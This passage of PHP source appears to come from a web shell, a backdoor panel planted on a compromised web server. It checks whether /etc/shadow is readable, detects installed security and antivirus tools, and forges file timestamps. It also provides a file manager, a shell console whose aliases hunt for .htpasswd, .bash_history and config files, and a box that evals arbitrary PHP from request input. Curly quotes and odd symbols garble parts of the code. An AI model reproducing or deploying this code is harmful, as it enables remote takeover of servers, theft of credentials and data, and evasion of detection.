\nshowSecParam(‘Safe mode exec dir’, @ini_get(‘safe_mode_exec_dir’));
\nshowSecParam(‘Safe mode include dir’, @ini_get(‘safe_mode_include_dir’));
\nshowSecParam(‘cURL support’, function_exists(‘curl_version’)?’enabled’:’no’);
\n$temp=array();
\nif(function_exists(‘mysql_get_client_info’))
\n$temp[] = “MySql (“.mysql_get_client_info().”)”;
\nif(function_exists(‘mssql_connect’))
\n$temp[] = “MSSQL”;
\nif(function_exists(‘pg_connect’))
\n$temp[] = “PostgreSQL”;
\nif(function_exists(‘oci_connect’))
\n$temp[] = “Oracle”;
\nshowSecParam(‘Supported databases’, implode(‘, ‘, $temp));
\necho ‘<br>’;
\nif($GLOBALS[‘os’] == ‘nix’) {
\nshowSecParam(‘Readable \/etc\/passwd’, @is_readable(‘\/etc\/passwd’)?”yes <a href=’#’ onclick=’g(\\”FilesTools\\”, \\”\/etc\/\\”, \\”passwd\\”)’>[view]<\/a>”:’no’);
\nshowSecParam(‘Readable \/etc\/shadow’, @is_readable(‘\/etc\/shadow’)?”yes <a href=’#’ onclick=’g(\\”FilesTools\\”, \\”\/etc\/\\”, \\”shadow\\”)’>[view]<\/a>”:’no’);
\nshowSecParam(‘OS version’, @file_get_contents(‘\/proc\/version’));
\nshowSecParam(‘Distr name’, @file_get_contents(‘\/etc\/issue.net’));
\nif(!$GLOBALS[‘safe_mode’]) {
\n$userful = array(‘gcc’,’lcc’,’cc’,’ld’,’make’,’php’,’perl’,’python’,’ruby’,’tar’,’gzip’,’bzip’,’bzip2′,’nc’,’locate’,’suidperl’);
\n$danger = array(‘kav’,’nod32′,’bdcored’,’uvscan’,’sav’,’drwebd’,’clamd’,’rkhunter’,’chkrootkit’,’iptables’,’ipfw’,’tripwire’,’shieldcc’,’portsentry’,’snort’,’ossec’,’lidsadm’,’tcplodg’,’sxid’,’logcheck’,’logwatch’,’sysmask’,’zmbscap’,’sawmill’,’wormscan’,’ninja’);
\n$downloaders = array(‘wget’,’fetch’,’lynx’,’links’,’curl’,’get’,’lwp-mirror’);
\necho ‘<br>’;
\n$temp=array();
\nforeach ($userful as $\u259f)
\nif(which($\u259f))
\n$temp[] = $\u259f;
\nshowSecParam(‘Userful’, implode(‘, ‘,$temp));
\n$temp=array();
\nforeach ($danger as $\u259f)
\nif(which($\u259f))
\n$temp[] = $\u259f;
\nshowSecParam(‘Danger’, implode(‘, ‘,$temp));
\n$temp=array();
\nforeach ($downloaders as $\u259f)
\nif(which($\u259f))
\n$temp[] = $\u259f;
\nshowSecParam(‘Downloaders’, implode(‘, ‘,$temp));
\necho ‘<br\/>’;
\nshowSecParam(‘HDD space’, ex(‘df -h’));
\nshowSecParam(‘Hosts’, @file_get_contents(‘\/etc\/hosts’));
\nshowSecParam(‘Mount options’, @file_get_contents(‘\/etc\/fstab’));
\n}
\n} else {
\nshowSecParam(‘OS Version’,ex(‘ver’));
\nshowSecParam(‘Account Settings’, iconv(‘CP866’, ‘UTF-8’,ex(‘net accounts’)));
\nshowSecParam(‘User Accounts’, iconv(‘CP866’, ‘UTF-8’,ex(‘net user’)));
\n}
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nfunction actionFilesTools() {
\nif( isset($_POST[‘p1’]) )
\n$_POST[‘p1’] = urldecode($_POST[‘p1’]);
\nif(@$_POST[‘p2′]==’download’) {
\nif(@is_file($_POST[‘p1’]) && @is_readable($_POST[‘p1’])) {
\nob_start(“ob_gzhandler”, 4096);
\nheader(“Content-Disposition: attachment; filename=”.basename($_POST[‘p1’]));
\nif (function_exists(“mime_content_type”)) {
\n$type = @mime_content_type($_POST[‘p1’]);
\nheader(“Content-Type: ” . $type);
\n} else
\nheader(“Content-Type: application\/octet-stream”);
\n$fp = @fopen($_POST[‘p1’], “r”);
\nif($fp) {
\nwhile(!@feof($fp))
\necho @fread($fp, 1024);
\nfclose($fp);
\n}
\n}exit;
\n}
\nif( @$_POST[‘p2’] == ‘mkfile’ ) {
\nif(!file_exists($_POST[‘p1’])) {
\n$fp = @fopen($_POST[‘p1’], ‘w’);
\nif($fp) {
\n$_POST[‘p2’] = “edit”;
\nfclose($fp);
\n}
\n}
\n}
\nhardHeader();
\necho ‘<h1>File tools<\/h1><div class=content>’;
\nif( !file_exists(@$_POST[‘p1’]) ) {
\necho ‘File not exists’;
\nhardFooter();
\nreturn;
\n}
\n$uid = @posix_getpwuid(@fileowner($_POST[‘p1’]));
\nif(!$uid) {
\n$uid[‘name’] = @fileowner($_POST[‘p1’]);
\n$gid[‘name’] = @filegroup($_POST[‘p1’]);
\n} else $gid = @posix_getgrgid(@filegroup($_POST[‘p1’]));
\necho ‘<span>Name:<\/span> ‘.htmlspecialchars(@basename($_POST[‘p1′])).’ <span>Size:<\/span> ‘.(is_file($_POST[‘p1’])?viewSize(filesize($_POST[‘p1′])):’-‘).’ <span>Permission:<\/span> ‘.viewPermsColor($_POST[‘p1′]).’ <span>Owner\/Group:<\/span> ‘.$uid[‘name’].’\/’.$gid[‘name’].'<br>’;
\necho ‘<span>Create time:<\/span> ‘.date(‘Y-m-d H:i:s’,filectime($_POST[‘p1′])).’ <span>Access time:<\/span> ‘.date(‘Y-m-d H:i:s’,fileatime($_POST[‘p1′])).’ <span>Modify time:<\/span> ‘.date(‘Y-m-d H:i:s’,filemtime($_POST[‘p1′])).'<br><br>’;
\nif( empty($_POST[‘p2’]) )
\n$_POST[‘p2’] = ‘view’;
\nif( is_file($_POST[‘p1’]) )
\n$m = array(‘View’, ‘Highlight’, ‘Download’, ‘Hexdump’, ‘Edit’, ‘Chmod’, ‘Rename’, ‘Touch’, ‘Frame’);
\nelse
\n$m = array(‘Chmod’, ‘Rename’, ‘Touch’);
\nforeach($m as $v)
\necho ‘<a href=# onclick=”g(null,null,\\” . urlencode($_POST[‘p1’]) . ‘\\’,\\”.strtolower($v).’\\’)”>’.((strtolower($v)==@$_POST[‘p2’])?'<b>[ ‘.$v.’ ]<\/b>’:$v).'<\/a> ‘;
\necho ‘<br><br>’;
\nswitch($_POST[‘p2’]) {
\ncase ‘view’:
\necho ‘<pre class=ml1>’;
\n$fp = @fopen($_POST[‘p1’], ‘r’);
\nif($fp) {
\nwhile( !@feof($fp) )
\necho htmlspecialchars(@fread($fp, 1024));
\n@fclose($fp);
\n}
\necho ‘<\/pre>’;
\nbreak;
\ncase ‘highlight’:
\nif( @is_readable($_POST[‘p1’]) ) {
\necho ‘<div class=ml1 style=”background-color: #e1e1e1;color:black;”>’;
\n$oRb = @highlight_file($_POST[‘p1’],true);
\necho str_replace(array(‘<span ‘,'<\/span>’), array(‘<font ‘,'<\/font>’),$oRb).'<\/div>’;
\n}
\nbreak;
\ncase ‘chmod’:
\nif( !empty($_POST[‘p3’]) ) {
\n$perms = 0;
\nfor($i=strlen($_POST[‘p3’])-1;$i>=0;–$i)
\n$perms += (int)$_POST[‘p3’][$i]*pow(8, (strlen($_POST[‘p3’])-$i-1));
\nif(!@chmod($_POST[‘p1’], $perms))
\necho ‘Can\\’t set permissions!<br><script>document.mf.p3.value=””;<\/script>’;
\n}
\nclearstatcache();
\necho ‘<script>p3_=””;<\/script><form onsubmit=”g(null,null,\\” . urlencode($_POST[‘p1’]) . ‘\\’,null,this.chmod.value);return false;”><input type=text name=chmod value=”‘.substr(sprintf(‘%o’, fileperms($_POST[‘p1′])),-4).'”><input type=submit value=”submit”><\/form>’;
\nbreak;
\ncase ‘edit’:
\nif( !is_writable($_POST[‘p1’])) {
\necho ‘File isn\\’t writeable’;
\nbreak;
\n}
\nif( !empty($_POST[‘p3’]) ) {
\n$time = @filemtime($_POST[‘p1’]);
\n$_POST[‘p3’] = substr($_POST[‘p3’],1);
\n$fp = @fopen($_POST[‘p1’],”w”);
\nif($fp) {
\n@fwrite($fp,$_POST[‘p3’]);
\n@fclose($fp);
\necho ‘Saved!<br><script>p3_=””;<\/script>’;
\n@touch($_POST[‘p1’],$time,$time);
\n}
\n}
\necho ‘<form onsubmit=”g(null,null,\\” . urlencode($_POST[‘p1’]) . ‘\\’,null,\\’1\\’+this.text.value);return false;”><textarea name=text class=bigarea>’;
\n$fp = @fopen($_POST[‘p1’], ‘r’);
\nif($fp) {
\nwhile( !@feof($fp) )
\necho htmlspecialchars(@fread($fp, 1024));
\n@fclose($fp);
\n}
\necho ‘<\/textarea><input type=submit value=”submit”><\/form>’;
\nbreak;
\ncase ‘hexdump’:
\n$c = @file_get_contents($_POST[‘p1’]);
\n$n = 0;
\n$h = array(‘00000000<br>’,”,”);
\n$len = strlen($c);
\nfor ($i=0; $i<$len; ++$i) {
\n$h[1] .= sprintf(‘%02X’,ord($c[$i])).’ ‘;
\nswitch ( ord($c[$i]) ) {
\ncase 0: $h[2] .= ‘ ‘; break;
\ncase 9: $h[2] .= ‘ ‘; break;
\ncase 10: $h[2] .= ‘ ‘; break;
\ncase 13: $h[2] .= ‘ ‘; break;
\ndefault: $h[2] .= $c[$i]; break;
\n}
\n$n++;
\nif ($n == 32) {
\n$n = 0;
\nif ($i+1 < $len) {$h[0] .= sprintf(‘%08X’,$i+1).'<br>’;}
\n$h[1] .= ‘<br>’;
\n$h[2] .= “\\n”;
\n}
\n}
\necho ‘<table cellspacing=1 cellpadding=5 bgcolor=#1a1a1a><tr><td bgcolor=#202832><span style=”font-weight: normal;”><pre>’.$h[0].'<\/pre><\/span><\/td><td bgcolor=#060a10><pre>’.$h[1].'<\/pre><\/td><td bgcolor=#202832><pre>’.htmlspecialchars($h[2]).'<\/pre><\/td><\/tr><\/table>’;
\nbreak;
\ncase ‘rename’:
\nif( !empty($_POST[‘p3’]) ) {
\nif(!@rename($_POST[‘p1’], $_POST[‘p3’]))
\necho ‘Can\\’t rename!<br>’;
\nelse
\ndie(‘<script>g(null,null,”‘.urlencode($_POST[‘p3′]).'”,null,””)<\/script>’);
\n}
\necho ‘<form onsubmit=”g(null,null,\\” . urlencode($_POST[‘p1’]) . ‘\\’,null,this.name.value);return false;”><input type=text name=name value=”‘.htmlspecialchars($_POST[‘p1′]).'”><input type=submit value=”submit”><\/form>’;
\nbreak;
\ncase ‘touch’:
\nif( !empty($_POST[‘p3’]) ) {
\n$time = strtotime($_POST[‘p3’]);
\nif($time) {
\nif(!touch($_POST[‘p1’],$time,$time))
\necho ‘Fail!’;
\nelse
\necho ‘Touched!’;
\n} else echo ‘Bad time format!’;
\n}
\nclearstatcache();
\necho ‘<script>p3_=””;<\/script><form onsubmit=”g(null,null,\\” . urlencode($_POST[‘p1’]) . ‘\\’,null,this.touch.value);return false;”><input type=text name=touch value=”‘.date(“Y-m-d H:i:s”, @filemtime($_POST[‘p1′])).'”><input type=submit value=”submit”><\/form>’;
\nbreak;
\n\/* (\u0421) 12.2015 mitryz *\/
\ncase ‘frame’:
\n$frameSrc = substr(htmlspecialchars($GLOBALS[‘cwd’]), strlen(htmlspecialchars($_SERVER[‘DOCUMENT_ROOT’])));
\nif ($frameSrc[0] != ‘\/’)
\n$frameSrc = ‘\/’ . $frameSrc;
\nif ($frameSrc[strlen($frameSrc) – 1] != ‘\/’)
\n$frameSrc = $frameSrc . ‘\/’;
\n$frameSrc = $frameSrc . htmlspecialchars($_POST[‘p1’]);
\necho ‘<iframe width=”100%” height=”900px” scrolling=”no” src=’.$frameSrc.’ onload=”onload=height=contentDocument.body.scrollHeight”><\/iframe>’;
\nbreak;
\n}
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nif($os == ‘win’)
\n$aliases = array(
\n“List Directory” => “dir”,
\n“Find index.php in current dir” => “dir \/s \/w \/b index.php”,
\n“Find *config*.php in current dir” => “dir \/s \/w \/b *config*.php”,
\n“Show active connections” => “netstat -an”,
\n“Show running services” => “net start”,
\n“User accounts” => “net user”,
\n“Show computers” => “net view”,
\n“ARP Table” => “arp -a”,
\n“IP Configuration” => “ipconfig \/all”
\n);
\nelse
\n$aliases = array(
\n“List dir” => “ls -lha”,
\n“list file attributes on a Linux second extended file system” => “lsattr -va”,
\n“show opened ports” => “netstat -an | grep -i listen”,
\n“process status” => “ps aux”,
\n“Find” => “”,
\n“find all suid files” => “find \/ -type f -perm -04000 -ls”,
\n“find suid files in current dir” => “find . -type f -perm -04000 -ls”,
\n“find all sgid files” => “find \/ -type f -perm -02000 -ls”,
\n“find sgid files in current dir” => “find . -type f -perm -02000 -ls”,
\n“find config.inc.php files” => “find \/ -type f -name config.inc.php”,
\n“find config* files” => “find \/ -type f -name \\”config*\\””,
\n“find config* files in current dir” => “find . -type f -name \\”config*\\””,
\n“find all writable folders and files” => “find \/ -perm -2 -ls”,
\n“find all writable folders and files in current dir” => “find . -perm -2 -ls”,
\n“find all service.pwd files” => “find \/ -type f -name service.pwd”,
\n“find service.pwd files in current dir” => “find . -type f -name service.pwd”,
\n“find all .htpasswd files” => “find \/ -type f -name .htpasswd”,
\n“find .htpasswd files in current dir” => “find . -type f -name .htpasswd”,
\n“find all .bash_history files” => “find \/ -type f -name .bash_history”,
\n“find .bash_history files in current dir” => “find . -type f -name .bash_history”,
\n“find all .fetchmailrc files” => “find \/ -type f -name .fetchmailrc”,
\n“find .fetchmailrc files in current dir” => “find . -type f -name .fetchmailrc”,
\n“Locate” => “”,
\n“locate httpd.conf files” => “locate httpd.conf”,
\n“locate vhosts.conf files” => “locate vhosts.conf”,
\n“locate proftpd.conf files” => “locate proftpd.conf”,
\n“locate psybnc.conf files” => “locate psybnc.conf”,
\n“locate my.conf files” => “locate my.conf”,
\n“locate admin.php files” =>”locate admin.php”,
\n“locate cfg.php files” => “locate cfg.php”,
\n“locate conf.php files” => “locate conf.php”,
\n“locate config.dat files” => “locate config.dat”,
\n“locate config.php files” => “locate config.php”,
\n“locate config.inc files” => “locate config.inc”,
\n“locate config.inc.php” => “locate config.inc.php”,
\n“locate config.default.php files” => “locate config.default.php”,
\n“locate config* files ” => “locate config”,
\n“locate .conf files”=>”locate ‘.conf'”,
\n“locate .pwd files” => “locate ‘.pwd'”,
\n“locate .sql files” => “locate ‘.sql'”,
\n“locate .htpasswd files” => “locate ‘.htpasswd'”,
\n“locate .bash_history files” => “locate ‘.bash_history'”,
\n“locate .mysql_history files” => “locate ‘.mysql_history'”,
\n“locate .fetchmailrc files” => “locate ‘.fetchmailrc'”,
\n“locate backup files” => “locate backup”,
\n“locate dump files” => “locate dump”,
\n“locate priv files” => “locate priv”
\n);
\nfunction actionConsole() {
\nif(!empty($_POST[‘p1’]) && !empty($_POST[‘p2’])) {
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’stderr_to_out’, true);
\n$_POST[‘p1’] .= ‘ 2>&1’;
\n} elseif(!empty($_POST[‘p1’]))
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’stderr_to_out’, 0);
\nif(isset($_POST[‘ajax’])) {
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’ajax’, true);
\nob_start();
\necho “d.cf.cmd.value=”;\\n”;
\n$temp = @iconv($_POST[‘charset’], ‘UTF-8’, addcslashes(“\\n$ “.$_POST[‘p1’].”\\n”.ex($_POST[‘p1’]),”\\n\\r\\t\\’\\0″));
\nif(preg_match(“!.*cd\\s+([^;]+)$!”,$_POST[‘p1’],$match)) {
\nif(@chdir($match[1])) {
\n$GLOBALS[‘cwd’] = @getcwd();
\necho “c_='”.$GLOBALS[‘cwd’].”‘;”;
\n}
\n}
\necho “d.cf.output.value+='”.$temp.”‘;”;
\necho “d.cf.output.scrollTop = d.cf.output.scrollHeight;”;
\n$temp = ob_get_clean();
\necho strlen($temp), “\\n”, $temp;
\nexit;
\n}
\nif(empty($_POST[‘ajax’])&&!empty($_POST[‘p1’]))
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’ajax’, 0);
\nhardHeader();
\necho “<script>
\nif(window.Event) window.captureEvents(Event.KEYDOWN);
\nvar cmds = new Array(”);
\nvar cur = 0;
\nfunction kp(e) {
\nvar n = (window.Event) ? e.which : e.keyCode;
\nif(n == 38) {
\ncur–;
\nif(cur>=0)
\ndocument.cf.cmd.value = cmds[cur];
\nelse
\ncur++;
\n} else if(n == 40) {
\ncur++;
\nif(cur < cmds.length)
\ndocument.cf.cmd.value = cmds[cur];
\nelse
\ncur–;
\n}
\n}
\nfunction add(cmd) {
\ncmds.pop();
\ncmds.push(cmd);
\ncmds.push(”);
\ncur = cmds.length-1;
\n}
\n<\/script>”;
\necho ‘<h1>Console<\/h1><div class=content><form name=cf onsubmit=”if(d.cf.cmd.value==\\’clear\\’){d.cf.output.value=\\’\\’;d.cf.cmd.value=\\’\\’;return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\’\\’);}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\’\\’);} return false;”><label><select name=alias>’;
\nforeach($GLOBALS[‘aliases’] as $n => $v) {
\nif($v == ”) {
\necho ‘<optgroup label=”-‘.htmlspecialchars($n).’-“><\/optgroup>’;
\ncontinue;
\n}
\necho ‘<option value=”‘.htmlspecialchars($v).'”>’.$n.'<\/option>’;
\n}
\necho ‘<\/select><\/label><input type=button onclick=”add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\’\\’);}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\’\\’);}” value=”submit”> <nobr><input type=checkbox name=ajax value=1 ‘.(@$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’ajax’]?’checked’:”).’> send using AJAX <input type=checkbox name=show_errors value=1 ‘.(!empty($_POST[‘p2’])||$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’stderr_to_out’]?’checked’:”).’> redirect stderr to stdout (2>&1)<\/nobr><br\/><textarea class=bigarea name=output style=”border-bottom:0;margin-top:5px;” readonly>’;
\nif(!empty($_POST[‘p1’])) {
\necho htmlspecialchars(“$ “.$_POST[‘p1’].”\\n”.ex($_POST[‘p1’]));
\n}
\necho ‘<\/textarea><table style=”border:1px solid #060a10;background-color:#060a10;border-top:0px;” cellpadding=0 cellspacing=0 width=”100%”><tr><td style=”padding-left:4px; width:13px;”>$<\/td><td><input type=text name=cmd style=”border:0px;width:100%;” onkeydown=”kp(event);”><\/td><\/tr><\/table>’;
\necho ‘<\/form><\/div><script>d.cf.cmd.focus();<\/script>’;
\nhardFooter();
\n}
\nfunction actionPhp() {
\nif( isset($_POST[‘ajax’]) ) {
\n$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’ajax’] = true;
\nob_start();
\neval($_POST[‘p1’]);
\n$temp = “document.getElementById(‘PhpOutput’).style.display=”;document.getElementById(‘PhpOutput’).innerHTML='”.addcslashes(htmlspecialchars(ob_get_clean()),”\\n\\r\\t\\\\’\\0″).”‘;\\n”;
\necho strlen($temp), “\\n”, $temp;
\nexit;
\n}
\nhardHeader();
\nif( isset($_POST[‘p2’]) && ($_POST[‘p2’] == ‘info’) ) {
\necho ‘<h1>PHP info<\/h1><div class=content>’;
\nob_start();
\nphpinfo();
\n$tmp = ob_get_clean();
\n$tmp = preg_replace(‘!body {.*}!msiU’,”,$tmp);
\n$tmp = preg_replace(‘!a:\\w+ {.*}!msiU’,”,$tmp);
\n$tmp = preg_replace(‘!h1!msiU’,’h2′,$tmp);
\n$tmp = preg_replace(‘!td, th {(.*)}!msiU’,’.e, .v, .h, .h th {$1}’,$tmp);
\n$tmp = preg_replace(‘!body, td, th, h2, h2 {.*}!msiU’,”,$tmp);
\necho $tmp;
\necho ‘<\/div><br>’;
\n}
\nif(empty($_POST[‘ajax’])&&!empty($_POST[‘p1’]))
\n$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’ajax’] = false;
\necho ‘<h1>Execution PHP-code<\/h1><div class=content><form name=pf method=post onsubmit=”if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\’\\’);}return false;”><textarea name=code class=bigarea id=PhpCode>’.(!empty($_POST[‘p1’])?htmlspecialchars($_POST[‘p1′]):”).'<\/textarea><input type=submit value=Eval style=”margin-top:5px”>’;
\necho ‘ <input type=checkbox name=ajax value=1 ‘.($_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’ajax’]?’checked’:”).’> send using AJAX<\/form><pre id=PhpOutput style=”‘.(empty($_POST[‘p1′])?’display:none;’:”).’margin-top:5px;” class=ml1>’;
\nif(!empty($_POST[‘p1’])) {
\nob_start();
\neval($_POST[‘p1’]);
\necho htmlspecialchars(ob_get_clean());
\n}
\necho ‘<\/pre><\/div>’;
\nhardFooter();
\n}
\nfunction actionFilesMan() {
\nif (!empty ($_COOKIE[‘f’]))
\n$_COOKIE[‘f’] = @unserialize($_COOKIE[‘f’]);
\nif(!empty($_POST[‘p1’])) {
\nswitch($_POST[‘p1’]) {
\ncase ‘uploadFile’:
\nif ( is_array($_FILES[‘f’][‘tmp_name’]) ) {
\nforeach ( $_FILES[‘f’][‘tmp_name’] as $i => $tmpName ) {
\nif(!@move_uploaded_file($tmpName, $_FILES[‘f’][‘name’][$i])) {
\necho “Can’t upload file!”;
\n}
\n}
\n}
\nbreak;
\ncase ‘mkdir’:
\nif(!@mkdir($_POST[‘p2’]))
\necho “Can’t create new dir”;
\nbreak;
\ncase ‘delete’:
\nfunction deleteDir($path) {
\n$path = (substr($path,-1)==’\/’) ? $path:$path.’\/’;
\n$dh = opendir($path);
\nwhile ( ($\u259f = readdir($dh) ) !== false) {
\n$\u259f = $path.$\u259f;
\nif ( (basename($\u259f) == “..”) || (basename($\u259f) == “.”) )
\ncontinue;
\n$type = filetype($\u259f);
\nif ($type == “dir”)
\ndeleteDir($\u259f);
\nelse
\n@unlink($\u259f);
\n}
\nclosedir($dh);
\n@rmdir($path);
\n}
\nif(is_array(@$_POST[‘f’]))
\nforeach($_POST[‘f’] as $f) {
\nif($f == ‘..’)
\ncontinue;
\n$f = urldecode($f);
\nif(is_dir($f))
\ndeleteDir($f);
\nelse
\n@unlink($f);
\n}
\nbreak;
\ncase ‘paste’:
\nif($_COOKIE[‘act’] == ‘copy’) {
\nfunction copy_paste($c,$s,$d){
\nif(is_dir($c.$s)){
\nmkdir($d.$s);
\n$h = @opendir($c.$s);
\nwhile (($f = @readdir($h)) !== false)
\nif (($f != “.”) and ($f != “..”))
\ncopy_paste($c.$s.’\/’,$f, $d.$s.’\/’);
\n} elseif(is_file($c.$s))
\n@copy($c.$s, $d.$s);
\n}
\nforeach($_COOKIE[‘f’] as $f)
\ncopy_paste($_COOKIE[‘c’],$f, $GLOBALS[‘cwd’]);
\n} elseif($_COOKIE[‘act’] == ‘move’) {
\nfunction move_paste($c,$s,$d){
\nif(is_dir($c.$s)){
\nmkdir($d.$s);
\n$h = @opendir($c.$s);
\nwhile (($f = @readdir($h)) !== false)
\nif (($f != “.”) and ($f != “..”))
\ncopy_paste($c.$s.’\/’,$f, $d.$s.’\/’);
\n} elseif(@is_file($c.$s))
\n@copy($c.$s, $d.$s);
\n}
\nforeach($_COOKIE[‘f’] as $f)
\n@rename($_COOKIE[‘c’].$f, $GLOBALS[‘cwd’].$f);
\n} elseif($_COOKIE[‘act’] == ‘zip’) {
\nif(class_exists(‘ZipArchive’)) {
\n$zip = new ZipArchive();
\nif ($zip->open($_POST[‘p2’], 1)) {
\nchdir($_COOKIE[‘c’]);
\nforeach($_COOKIE[‘f’] as $f) {
\nif($f == ‘..’)
\ncontinue;
\nif(@is_file($_COOKIE[‘c’].$f))
\n$zip->addFile($_COOKIE[‘c’].$f, $f);
\nelseif(@is_dir($_COOKIE[‘c’].$f)) {
\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.’\/’, FilesystemIterator::SKIP_DOTS));
\nforeach ($iterator as $key=>$value) {
\n$zip->addFile(realpath($key), $key);
\n}
\n}
\n}
\nchdir($GLOBALS[‘cwd’]);
\n$zip->close();
\n}
\n}
\n} elseif($_COOKIE[‘act’] == ‘unzip’) {
\nif(class_exists(‘ZipArchive’)) {
\n$zip = new ZipArchive();
\nforeach($_COOKIE[‘f’] as $f) {
\nif($zip->open($_COOKIE[‘c’].$f)) {
\n$zip->extractTo($GLOBALS[‘cwd’]);
\n$zip->close();
\n}
\n}
\n}
\n} elseif($_COOKIE[‘act’] == ‘tar’) {
\nchdir($_COOKIE[‘c’]);
\n$_COOKIE[‘f’] = array_map(‘escapeshellarg’, $_COOKIE[‘f’]);
\nex(‘tar cfzv ‘ . escapeshellarg($_POST[‘p2’]) . ‘ ‘ . implode(‘ ‘, $_COOKIE[‘f’]));
\nchdir($GLOBALS[‘cwd’]);
\n}
\nunset($_COOKIE[‘f’]);
\nsetcookie(‘f’, ”, time() – 3600);
\nbreak;
\ndefault:
\nif(!empty($_POST[‘p1’])) {
\nprototype(‘act’, $_POST[‘p1’]);
\nprototype(‘f’, serialize(@$_POST[‘f’]));
\nprototype(‘c’, @$_POST[‘c’]);
\n}
\nbreak;
\n}
\n}
\nhardHeader();
\necho ‘<h1>File manager<\/h1><div class=content><script>p1_=p2_=p3_=””;<\/script>’;
\n$dirContent = hardScandir(isset($_POST[‘c’])?$_POST[‘c’]:$GLOBALS[‘cwd’]);
\nif($dirContent === false) { echo ‘Can\\’t open this folder!’;hardFooter(); return; }
\nglobal $sort;
\n$sort = array(‘name’, 1);
\nif(!empty($_POST[‘p1’])) {
\nif(preg_match(‘!s_([A-z]+)_(\\d{1})!’, $_POST[‘p1’], $match))
\n$sort = array($match[1], (int)$match[2]);
\n}
\necho “<script>
\nfunction sa() {
\nfor(i=0;i<d.files.elements.length;i++)
\nif(d.files.elements[i].type == ‘checkbox’)
\nd.files.elements[i].checked = d.files.elements[0].checked;
\n}
\n<\/script>
\n<table width=’100%’ class=’main’ cellspacing=’0′ cellpadding=’2′>
\n<form name=files method=post><tr><th width=’13px’><input type=checkbox onclick=’sa()’ class=chkbx><\/th><th><a href=’#’ onclick=’g(\\”FilesMan\\”,null,\\”s_name_”.($sort[1]?0:1).”\\”)’>Name<\/a><\/th><th><a href=’#’ onclick=’g(\\”FilesMan\\”,null,\\”s_size_”.($sort[1]?0:1).”\\”)’>Size<\/a><\/th><th><a href=’#’ onclick=’g(\\”FilesMan\\”,null,\\”s_modify_”.($sort[1]?0:1).”\\”)’>Modify<\/a><\/th><th>Owner\/Group<\/th><th><a href=’#’ onclick=’g(\\”FilesMan\\”,null,\\”s_perms_”.($sort[1]?0:1).”\\”)’>Permissions<\/a><\/th><th>Actions<\/th><\/tr>”;
\n$dirs = $files = array();
\n$n = count($dirContent);
\nfor($i=0;$i<$n;$i++) {
\n$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
\n$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
\n$tmp = array(‘name’ => $dirContent[$i],
\n‘path’ => $GLOBALS[‘cwd’].$dirContent[$i],
\n‘modify’ => date(‘Y-m-d H:i:s’, @filemtime($GLOBALS[‘cwd’] . $dirContent[$i])),
\n‘perms’ => viewPermsColor($GLOBALS[‘cwd’] . $dirContent[$i]),
\n‘size’ => @filesize($GLOBALS[‘cwd’].$dirContent[$i]),
\n‘owner’ => $ow[‘name’]?$ow[‘name’]:@fileowner($dirContent[$i]),
\n‘group’ => $gr[‘name’]?$gr[‘name’]:@filegroup($dirContent[$i])
\n);
\nif(@is_file($GLOBALS[‘cwd’] . $dirContent[$i]))
\n$files[] = array_merge($tmp, array(‘type’ => ‘file’));
\nelseif(@is_link($GLOBALS[‘cwd’] . $dirContent[$i]))
\n$dirs[] = array_merge($tmp, array(‘type’ => ‘link’, ‘link’ => readlink($tmp[‘path’])));
\nelseif(@is_dir($GLOBALS[‘cwd’] . $dirContent[$i])&&($dirContent[$i] != “.”))
\n$dirs[] = array_merge($tmp, array(‘type’ => ‘dir’));
\n}
\n$GLOBALS[‘sort’] = $sort;
\nfunction cmp($a, $b) {
\nif($GLOBALS[‘sort’][0] != ‘size’)
\nreturn strcmp(strtolower($a[$GLOBALS[‘sort’][0]]), strtolower($b[$GLOBALS[‘sort’][0]]))*($GLOBALS[‘sort’][1]?1:-1);
\nelse
\nreturn (($a[‘size’] < $b[‘size’]) ? -1 : 1)*($GLOBALS[‘sort’][1]?1:-1);
\n}
\nusort($files, “cmp”);
\nusort($dirs, “cmp”);
\n$files = array_merge($dirs, $files);
\n$l = 0;
\nforeach($files as $f) {
\necho ‘<tr’.($l?’ class=l1′:”).’><td><input type=checkbox name=”f[]” value=”‘.urlencode($f[‘name’]).'” class=chkbx><\/td><td><a href=# onclick=”‘.(($f[‘type’]==’file’)?’g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’view\\’)”>’.htmlspecialchars($f[‘name’]):’g(\\’FilesMan\\’,\\”.$f[‘path’].’\\’);” ‘ . (empty ($f[‘link’]) ? ” : “title='{$f[‘link’]}'”) . ‘><b>[ ‘ . htmlspecialchars($f[‘name’]) . ‘ ]<\/b>’).'<\/a><\/td><td>’.(($f[‘type’]==’file’)?viewSize($f[‘size’]):$f[‘type’]).'<\/td><td>’.$f[‘modify’].'<\/td><td>’.$f[‘owner’].’\/’.$f[‘group’].'<\/td><td><a href=# onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’,\\’chmod\\’)”>’.$f[‘perms’]
